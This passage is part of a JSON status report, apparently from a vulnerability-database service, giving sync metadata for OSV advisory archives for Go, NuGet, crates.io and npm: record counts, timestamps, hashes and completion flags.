sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}